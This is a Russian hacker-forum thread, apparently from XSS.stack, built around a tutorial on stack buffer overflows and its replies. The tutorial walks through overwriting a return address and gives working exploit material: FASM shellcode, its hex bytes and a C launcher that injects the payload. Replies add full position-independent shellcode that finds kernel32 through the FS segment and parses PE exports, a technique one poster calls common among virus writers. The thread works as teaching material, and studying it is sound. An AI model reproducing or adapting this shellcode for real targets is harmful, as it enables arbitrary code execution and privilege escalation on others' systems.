• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Переполнение - что это такое?

Great

CPU register
Пользователь
Регистрация
13.11.2005
Сообщения
1 622
Реакции
6
Article: Переполнение - что это такое?
Author: Great
Date: 07.11.2006
Note: В статье предполагается знание читателем языков программирования C, Assembler
Статья является ознакомительным вводным материалом для знакомства читателя с темой информационной безопасности. Автор не несет никакой ответственности за прямой или косвенный ущерб, каким-либо образом нанесенный использованием или не использованием данного материала. Вся ответственность за незаконное использование материалов этой статьи ложится только на вас.


I. Переполнение буфера. Что такое?

Рассмотрим небольшой, но очень эффектный пример.
Код:
void get_user_name()
{
	char username[10];

	printf("Enter your name: ");
	gets(username);

	printf("Hello, %s!\n", username);
}

main()
{
	get_user_name();
	return 0;
}
С первого взгляда, ничего страшного нету. Программа считывает имя пользователя и здоровается с ним. Однако, посмотрим. Под имя пользователя отводится 10 символов. Место для этой локальной переменной выделяется в стеке, и с ним соседствует запись о кадре стека (сохраненное значение EBP) и адрес возврата в main() из функции get_user_name(). А что, если мы введем не 10 символов, а, скажем, 100? gets() ничего не известно про размер буфера, поэтому она послушно запишет эти 100 символов по адресу буфера. Первые 10 символов аккурат лягут в буфер, а остальное?... Правильно, затрет значения EBP и адреса возврата. При подходе к концу функции и выполнению RET для выхода процессор считает из стека адрес возврата, уже перезаписанный нами... и управление уйдет совсем не туда, как это предполагал программист.

II. Что полезного оно нам дает?

Разберемся теперь, что же полезного нам дает переполнение локального буфера. Мы можем перезаписать адрес возврата и устремить процессор на наш (возможно, злобный :)) код. Удаленно это позволит выполнять произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит нам получить привилегии администратора системы. Весьма перспективно, не правда ли?

III. Практика

Перейдем же, наконец, к практике. Для начала, нам нужно определить, какие именно байты (по порядку от начала строки) затирают адрес возврата.
Делается это элементарно таким образом - вводится строка вида AAAAAAAAAA0123456789. Очевидно, что адрес затрут какие-то 4 байта от 0 до 9 с этой строке. Выясним же, какие.



Операционная система заботливо сообщает нам, что не может обратиться по адресу 0x39383736. Совершенно несложно проверить, что это коды символов '9', '8', '7' и '6', то есть эти байты затерли адрес возврата. Прекрасно. Теперь нам нужно узнать месторасположение в памяти наших данных. Программа всегда загружается в свое виртуальное адресное пространство по одному и тому же виртуальному адресу, и стек выделяется тоже по фиксированному виртуальному адресу в адресном пространстве нашей программы. Это значит, что адрес строки в памяти с каждым запуском нашей программы меняться не будет. А ведь это здорово, мы можем записать адрес возврата, например, адресом следующих после 6789 байт, где и разместим наш код.
Итак, нам нужно узнать адрес данных. Что может быть проще? Загружаем программу в отладчик, вводим строку программе AAAAAAAAAA0123456789zzcv, ждем исключения, открываем дамп стека в отладчике и ищем строку "zzcv" в стеке - начиная с этого адреса мы расположим в дальнейшем наш код.
Voil`a! Смотрим в отладчик:



Смотрим, что строка 'zzcv' найдена по адресу 0x0013ff34. Это не первое вхождение строки в стеке, но отладчик снизу показывает еще содержимое стека с адресами, где тоже виден адрес
0x0013ff34. Так что можно утверждать, что наш код разместится именно там.
Попробуем написать вызов MessageBox'а. Нам потребуется компилятор FASMW для того, чтобы собрать код эксплоита. Чуток забегу вперед и скажу, что наш код будет таким:
Код:
org 0x0013ff34; base address
use32; 32-bit code

;
; Exploit code
;

; Load library 'user32.dll'
push user32
call [LoadLibrary]

; Get 'MessageBoxA' address
push messagebox
push eax
call [GetProcAddress]

; Invoke MessageBoxA
push dword 0
push dword 0
push message
push dword 0
call eax

; Exit
call [ExitProcess]


user32 db "USER32.DLL",0
messagebox db "MessageBoxA",0
caption db "Exploit",0
message db "Proof-of-Concept exploit code",0

;
; API's
;
KERNEL32_BASE equ 0x7c800000
ExitProcess    dd KERNEL32_BASE+0x0001CDDA
GetProcAddress dd KERNEL32_BASE+0x0000ADA0
LoadLibrary    dd KERNEL32_BASE+0x00001D77
Думаю, знающим язык ассемблера разобраться в столь банальном коде не составит труда, но я все же дам некоторые комментарии по этому поводу.
С помощью ORG мы задаем место в памяти, с которого будет располагаться наш код во время выполнения.
В конце мы располагаем константу KERNEL32_BASE, которая равна базовому адресу загрузки библиотеки kernel32.dll, подгружаемой к каждому процессу, в памяти. Потом расположены адреса некоторых функций в ней, нам потребуются LoadLibraryA и GetProcAddress для вызова MessageBox из user32.dll и ExitProcess для завершения программы.
Скажу сразу, этот код не портабелен. Под другой версией ОС Windows, даже в другом сервиспаке или build'е адреса функций неизбежно будут другими. Но это лишь демонстрация, в боевых условиях адрес ядра берется из сегмента FS, а поиск функций производится напрямую в коде ядра. Под *nix-like системами вообще ничего такого производить не нужно, все системные вызовы реализуются одним прерыванием, адрес обработчика которого задается операционной системой в таблице IDT, следовательно, нам вообще не нужно знать месторасположение ядра в памяти. Код PoC эксплоита под linux, выводящего сообщение на консоль,будет гораздо проще. Ну, это лирика. Двинемся дальше.
Что же происходит в нашем коде? Подгружается к текущему процессу user32.dll, если она еще не подгружена и в ней ищется функция MessageBoxA для вывода диалогового окошка с сообщением о том, что эксплоит сработал.
Итак, пробуем FASW: Ctrl-F9, скомпилировалось. Берем утилиту мою bin2c, которая переводит бинарник в вид, понятный компилятору си (вида \x00\x01\x02\0x03):
\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15
\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13
\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52
\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78
\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f
\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74
\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c
Пишем код эксплоита на Си:
Код:
#include <windows.h>
#include <stdio.h>

#define VICTIM "H:\\Progs\\superproga\\Debug\\superproga.exe"

char shellcode[] =  "AAAAAAAAAA012345\x34\xff\x13\x00"
	// Shellcode
	"\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15"
"\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13"
"\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52"
"\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78"
"\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f"
"\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74"
"\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c";
int len = sizeof(shellcode)-1;

main()
{
	FILE* fp;
	int i=0;

	printf("[~] Creating pipe to victim '" VICTIM "' ");
	fp = _popen(VICTIM, "w");
	if(!fp)
  return printf("[FAILED]\n[-] Cannot create pipe\n");
	
	printf("[ OK ]\n[~] Attempting to send destructive code ");
	for(;i<len;i++)
	{
  fputc(shellcode[i], fp);
	}


	printf("[ OK ]\n\n");
	_pclose(fp);
	return 0;
}
Как видно, ничего сложного. Открываем пайп с уязвимой программой и посылаем туда код эксплоита. Результат - затирается адрес возврата, после RET управление переходит к нашему коду, который выводит MessageBox и завершает процесс. Если бы эта была программа под *nix с suid-битом и правами root, можно было бы с тем же успехом вызвать командный интерпретатор root'а и выполнять команды от его имени.

Итак, что же мы имеем. Если у нас есть программа, которая не контролирует выход за пределы локального буфера, мы можем перезаписать часть стека и исполнить код в контексте этой программы. Позволю себе закончить на этой радостной ноте, удачного компилирования ;)


К статье прилагаются - два скриншота (overflow1.png, overflow2.png), утилита bin2c с исходными текстами для кодирования бинарного файла в вид Си-строки.
 

Вложения

  • overflow1.png
    overflow1.png
    8.5 КБ · Просмотры: 370
  • overflow2.png
    overflow2.png
    11.9 КБ · Просмотры: 344
  • bin2c.rar
    2 КБ · Просмотры: 315
Добавлено в [time]1162993050[/time]
Но это лишь демонстрация, в боевых условиях адрес ядра берется из сегмента FS, а поиск функций производится напрямую в коде ядра.
Зачетная статья.
Не описался? Насчет "ядра" и "сегмента FS".
Вроде в FS:[0](сегменты уже вымерли ;) ) находиться указатель на структуру, которая содержит указатели на текущий структурный обработчик исключений и на след обработчик. Последний в цепочке лежит в kernel32.dll. Значит можно просканировать в обратном направление на "PE" или на "MZ" и можно получить адрес загрузки.
Под словом "ядро" ты имел в виду kernel32.dll?

Линки по теме SEH :(классная статья)

http://wasm.ru/article.php?article=Win32SEHPietrek1
http://wasm.ru/article.php?article=Win32SEHPietrek2
http://wasm.ru/article.php?article=Win32SEHPietrek3

PS. Такой же эксперимент летом проводил.
 
Я действительно везде в ходе статьи под "ядром" понимал kernel32.dll, а не ntoskrnl.exe.

Вроде в FS:[0](сегменты уже вымерли wink.gif )
сегменты вымерли? да что ты говоришь? А чьи же селекторы содержат сегментные регистры в protected mode?
ЗЫ. Где-то я видел мааленькую функцию, состоящую только из ассемблерной вставки. которая каким-то макаром из сегмента с селектором FS брала базовый адрес kernel32.dll
PS. Такой же эксперимент летом проводил.
я ровно год назад (около декабря-января), хотел эту статью написать, но руки дошли только сейчас :crazy:
 
я ровно год назад (около декабря-января), хотел эту статью написать, но руки дошли только сейчас crazy.gif
Год назад у меня был маленький приоритет и мне ОС не выделяла компьтерное время почти :crazy: (и был я просто лаптем, а счас уже крутой лапоть(судя по разговору в аське) ;) ).

Шеллкод для чекера WMF(еще с начала года бага :crazy: ) баги от Ильфака :
Код:
        .386
        .model flat
        .code

rpush   macro xxx
        mov     ecx, offset xxx - offset L
        add     ecx, ebp
        push    ecx
        endm
        endp

start:
        call    L
L:
        pop     ebp
        call    qGetKernel32Handle
        mov     ebx, eax

        mov     ecx, offset silent - offset L
        add     ecx, ebp
        mov     ecx, [ecx]
        test    ecx, ecx
        jnz     exitnow

        rpush   aLoadLibrary
        push    ebx
        call    qGetProcAddress

        rpush   aUser32
        call    eax

        rpush   aMessageBox
        push    eax
        call    qGetProcAddress

        push    0
        push    0
        rpush   message
        push    0
        call    eax; MessageBox

exitnow:
        rpush   aExitProcess
        push    ebx
        call    qGetProcAddress

        push 1
        call eax; ExitProcess

qGetKernel32Handle proc near
        xor     eax, eax
        mov     eax, fs:[eax+30h]
        test    eax, eax
        js      short loc_169067
        push    esi
        mov     eax, [eax+0Ch]
        mov     esi, [eax+1Ch]
        lodsd
        mov     eax, [eax+8]
        pop     esi
        retn
loc_169067:
        mov     eax, [eax+34h]
        add     eax, 7Ch
        mov     eax, [eax+3Ch]
        retn
qGetKernel32Handle endp

qGetProcAddress proc near                  ; CODE XREF: debug007:001690C3p

var_4= dword ptr -4
arg_0= dword ptr  4   ; library handle
arg_4= dword ptr  8   ; function name

        xor     eax, eax
        pusha
        mov     ebp, [esp+20h+arg_0]          ; kernel32 handle
        mov     eax, [ebp+3Ch]
        mov     edi, [ebp+eax+78h]
        add     edi, ebp
        mov     ecx, [edi+18h]
        mov     ebx, [edi+20h]
        add     ebx, ebp

nameloop:
        jecxz   short failed
        dec     ecx
        mov     esi, [ebx+ecx*4]
        add     esi, ebp
        push    esi
        push    [esp+24h+arg_4]
        call    strcmp
        test    eax, eax
        jnz     short nameloop

        mov     ebx, [edi+24h]
        add     ebx, ebp
        mov     cx, [ebx+ecx*2]
        mov     ebx, [edi+1Ch]
        add     ebx, ebp
        mov     eax, [ebx+ecx*4]
        add     eax, ebp
        mov     [esp+20h+var_4], eax

failed:
        popa
        retn
qGetProcAddress endp

strcmp  proc near

arg_0= dword ptr  8
arg_4= dword ptr  12

        push    ebp
        mov     ebp, esp
        push    esi
        push    edi
        push    ebx
        mov     esi, [ebp+arg_0]
        mov     edi, [ebp+arg_4]
        xor     eax, eax

charloop:
        mov     al, [esi]
        mov     bl, [edi]
        inc     esi
        inc     edi
        sub     al, bl
        jnz     fret
        test    bl, bl
        jnz     charloop

fret:
        pop     ebx
        pop     edi
        pop     esi
        pop     ebp
        ret     8
strcmp  endp


aMessageBox  db 'MessageBoxA', 0
aExitProcess db 'ExitProcess', 0
aLoadLibrary db 'LoadLibraryA', 0
aUser32      db 'user32.dll', 0
message db 'Your system is vulnerable to WMF exploits!', 0Ah
        db 0Ah
        db 'Please visit http://www.hexblog.com and install the hotfix!', 0
copyr   db 'WMF Vulnerability test file by Ilfak Guilfanov', 0
        align 4
silent  dd 0
      ; last record in the file
        dd   3
        dw   0

        end start
qGetKernel32Handle endp
 
qGetKernel32Handle proc near
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_169067
push esi
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov eax, [eax+8]
pop esi
retn
loc_169067:
mov eax, [eax+34h]
add eax, 7Ch
mov eax, [eax+3Ch]
retn
qGetKernel32Handle endp
это та функция, про которую я говорил - поиск базы kernel32.dll в сегменте FS
распространенный метод среди вирьмейкеров
 
В шеллкоде, который кинул Dude03, есть защита от киддисов +) Ищите smile.gif
Она была найдена нами с выкриками "ХАХАХАХА" и "Лопухии!!" :lol:

Сама статья о wmf с диска Хакера :
 

Вложения

  • wmf_exp.rar
    816 КБ · Просмотры: 262
статья как статья, ничего особенного, кроме того, что все хорошо рассказано. К минусам хотелось бы отнести то, что адресса функи жестко вбиты и являются статичными, а это не есть хорошо+сам код не является базонезависимым, но насколько я знаю статья называется "что такое переполнение ?" и тема эта полностью раскрыта и поэтому не могу не поставить плюсик :)
гы, вот только наберу 30 постов ;)

[mod][Одинокий Волк:] Ещё один ап старой темы и даже 2-х не наберёшь будет бан.[/mod]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх